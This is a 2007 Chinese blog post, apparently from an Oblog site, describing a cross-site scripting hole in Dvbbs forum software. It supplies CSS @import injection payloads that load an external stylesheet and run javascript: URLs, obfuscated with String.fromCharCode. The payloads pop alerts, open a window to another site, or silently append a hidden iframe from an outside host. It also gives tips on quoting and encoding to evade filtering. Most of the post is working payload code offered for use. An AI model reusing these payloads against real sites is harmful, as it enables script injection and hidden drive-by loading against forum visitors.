数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



动网css跨站漏洞!
樱木花盗 发表于 2007-3-31 4:37:06
选择“代码”方式,在其中输入以下代码:
<style type='text/css'>@import url(http://www.xx.com/html.css);</style>
其中的@import 是CSS的自定义属性,url是要链接的CSS样式,
http://www.xx.com/html.css 的内容如下:
<style type="text/css">
<!--
@import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
-->
</style>
这是一段弹出alert窗口的代码,其中的string.formcharcode是用来将字符转为asc值的函数。
OPEN 的代码如下:
@import url(javascript:eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,110,111,104,97,99,107,46,99,110,39,44,39,-17702,-16435,-13610,-19743,39,44,39,119,105,100,116,104,61,50,48,48,44,104,101,105,103,104,116,61,50,48,48,39,41,59)));
如果是要在当前窗口隐藏显示,可用document.body.innerHTML方法
代码是:
document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.xx.com></iframe>";
将以上的字符用 asc转换工具转为asc值,放入string.fromcharcode函数中,就可以了,当然,也可以不用string.fromcharcode函数,直接引入代码的语句是:
@import url(javascript:eval("document.body.innerHTML=document.body.innerHTML+'<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.xx.com></iframe>';"));
其中字符要用双引号引入才行,如果再去掉eval,那么语句就是:
@import url(javascript:document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.xx.com></iframe>");
常量用双引号引入,而变量则直接引入,两者之间用+来连接,如果有特殊的字符,则可用String.fromCharCode进行转换,比如"<",则可用String.fromCharCode(60)代替。

阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.